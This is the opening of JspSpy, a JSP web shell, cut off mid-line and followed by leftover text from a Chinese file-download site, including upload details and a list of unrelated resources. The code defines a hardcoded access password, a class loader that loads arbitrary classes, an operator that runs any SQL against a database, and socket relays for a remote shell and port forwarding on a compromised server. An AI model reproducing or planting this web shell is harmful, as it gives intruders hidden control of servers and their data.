<%@page pageEncoding="utf-8"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.regex.*"%>
<%@page import="java.sql.*"%>
<%@page import="java.lang.reflect.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.text.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.zip.*"%>
<%@page import="java.util.jar.*"%>
<%@page import="java.awt.*"%>
<%@page import="java.awt.image.*"%>
<%@page import="javax.imageio.*"%>
<%@page import="java.awt.datatransfer.DataFlavor"%>
<%@page import="java.util.prefs.Preferences"%>
<%!
/**
* by n1nty
* CY . I Love You.
*/
private static final String PW = "ninty"; //password
private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
private static final String REQUEST_CHARSET = "ISO-8859-1";
private static final String PAGE_CHARSET = "UTF-8";
private static final String CURRENT_DIR = "currentdir";
private static final String MSG = "SHOWMSG";
private static final String PORT_MAP = "PMSA";
private static final String DBO = "DBO";
private static final String SHELL_ONLINE = "SHELL_ONLINE";
private static final String ENTER = "ENTER_FILE";
private static final String ENTER_MSG = "ENTER_FILE_MSG";
private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
private static final String SESSION_O = "SESSION_O";
private static String SHELL_NAME = "";
private static String WEB_ROOT = null;
private static String SHELL_DIR = null;
public static Map ins = new HashMap();
private static boolean ISLINUX = false;
private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
private static class MyRequest extends HttpServletRequestWrapper {
public MyRequest(HttpServletRequest req) {
super(req);
}
public String getParameter(String name) {
try {
String value = super.getParameter(name);
if (name == null)
return null;
return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
} catch (Exception e) {
return null;
}
}
}
private static class SpyClassLoader extends ClassLoader{
public SpyClassLoader() {
}
public Class defineClass(String name,byte[] b) {
return super.defineClass(name,b,0,b.length - 2);
}
}
private static class DBOperator{
private Connection conn = null;
private Statement stmt = null;
private String driver;
private String url;
private String uid;
private String pwd;
public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
this(driver,url,uid,pwd,false);
}
public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
Class.forName(driver);
if (connect)
this.conn = DriverManager.getConnection(url,uid,pwd);
this.url = url;
this.driver = driver;
this.uid = uid;
this.pwd = pwd;
}
public void connect() throws Exception{
this.conn = DriverManager.getConnection(url,uid,pwd);
}
public Object execute(String sql) throws Exception {
if (isValid()) {
stmt = conn.createStatement();
if (stmt.execute(sql)) {
return stmt.getResultSet();
} else {
return ""+stmt.getUpdateCount();
}
}
throw new Exception("Connection is inValid.");
}
public void closeStmt() throws Exception{
if (this.stmt != null)
stmt.close();
}
public boolean isValid() throws Exception {
return conn != null && !conn.isClosed();
}
public void close() throws Exception {
if (isValid()) {
closeStmt();
conn.close();
}
}
public boolean equals(Object o) {
if (o instanceof DBOperator) {
DBOperator dbo = (DBOperator)o;
return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
}
return false;
}
public Connection getConn(){
return this.conn;
}
}
private static class StreamConnector extends Thread {
private InputStream is;
private OutputStream os;
public StreamConnector( InputStream is, OutputStream os ){
this.is = is;
this.os = os;
}
public void run(){
BufferedReader in = null;
BufferedWriter out = null;
try{
in = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[8192];
int length;
while((length = in.read( buffer, 0, buffer.length ))>0){
out.write( buffer, 0, length );
out.flush();
}
} catch(Exception e){}
try{
if(in != null)
in.close();
if(out != null)
out.close();
} catch( Exception e ){}
}
public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
new Thread(new Runnable(){
public void run(){
while (true) {
try{
byte[] data = new byte[100];
int len = localIn.read(data);
while (len != -1) {
remoteOut.write(data,0,len);
len = localIn.read(data);
}
}catch (Exception e) {
break;
}
}
}
}).start();
}
public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
new Thread(new Runnable(){
public void run(){
while(true) {
try{
byte[] data = new byte[100];
int len = remoteIn.read(data);
while (len != -1) {
localOut.write(data,0,len);
len = remoteIn.read(data);
}
}catch (Exception e) {
try{
soc.close();
remoteSoc.close();
}catch(Exception ex) {
}
break;
}
}
}
}).start();
}
}
private static class EnterFile extends File{
private ZipFile zf = null;
private ZipEntry entry = null;
private boolean isDirectory = false;
private String absolutePath = null;
public void setEntry(ZipEntry e) {
this.entry = e;
}
public void setAbsolutePath(String p) {
this.absolutePath = p;
}
public void close() throws Exception{
this.zf.close();
}
public void setZf(String p) throws Exception{
if (p.toLowerCase().endsWith(".jar"))
this.zf = new JarFile(p);
else
this.zf = new ZipFile(p);
}
public EnterFile(File parent, String child) {
super(parent,child);
}
public EnterFile(String pathname) {
super(pathname);
}
public EnterFile(String pathname,boolean isDir) {
this(pathname);
this.isDirectory = isDir;
}
public EnterFile(String parent, String child) {
super(parent,child);
}
public EnterFile(URI uri) {
super(uri);
}
public boolean exists(){
return new File(this.zf.getName()).exists();
}
public File[] listFiles() {
java.util.List list = new ArrayList();
java.util.List handled = new ArrayList();
String currentDir = super.getPath();
currentDir = currentDir.replace('\\','/');
if (currentDir.indexOf("/") == 0)
{
if (currentDir.length() > 1)
currentDir = currentDir.substring(1);
else
currentDir = "";
}
Enumeration e = this.zf.entries();
while (e.hasMoreElements())
{
ZipEntry entry = (ZipEntry)e.nextElement();
String eName = entry.getName();
if (this.zf instanceof JarFile) {
if (!entry.isDirectory()){
EnterFile ef = new EnterFile(eName);
ef.setEntry(entry);
try{
ef.setZf(this.zf.getName());
}catch(Exception ex) {
}
list.add(ef);
}
} else {
if (currentDir.equals("")) {
//zip root directory
if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
{
EnterFile ef = new EnterFile(eName.replaceAll("/",""));
handled.add(eName.replaceAll("/",""));
ef.setEntry(entry);
list.add(ef);
} else {
if (eName.indexOf("/") != -1) {
String tmp = eName.substring(0,eName.indexOf("/"));
if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
EnterFile ef = new EnterFile(tmp,true);
ef.setEntry(entry);
list.add(ef);
handled.add(tmp);
}
}
}
} else {
if (eName.startsWith(currentDir)) {
if (eName.matches(currentDir+"/[^/]+/?$")) {
//file.
EnterFile ef = new EnterFile(eName);
ef.setEntry(entry);
list.add(ef);
if (eName.endsWith("/")) {
String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
tmp = tmp.substring(1,tmp.length()-1);
handled.add(tmp);
}
} else {
//dir
try {
String tmp = eName.substring(currentDir.length()+1);
tmp = tmp.substring(0,tmp.indexOf('/')
jsp.zip_jsp_jsp spy 2010 pudn_jsp spy 2010 pu_pudn jsp spy 2010
版权申诉
119 浏览量
2022-09-23
13:22:29
上传
评论
收藏 334KB ZIP 举报
我虽横行却不霸道
- 粉丝: 77
- 资源: 1万+
最新资源
- 基于SSM+Layui学生宿舍管理系统.zip
- TIA博途 WinCC下载到面板时,提示错误:“装载过程终止由于传输错误:8020AB001A06FFF4!”解决办法.docx
- 一个简单的C#人事管理系统.rar
- 一个基本的图书管理系统.rar
- Python合并两张图片.rar
- matlab画图.rar
- VerilogVHDL\FPGA入门教程FPGA器件边练边学-快速入门Verilogvhdl
- 基于C++的mfc的仿QQ聊天系统(高分课程设计期末大作业)
- 基于Java web的学生管理系统(源码+数据库+报告)高分项目
- 基于Java web的学生管理系统(源码+数据库+报告)期末大作业&课程设计
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈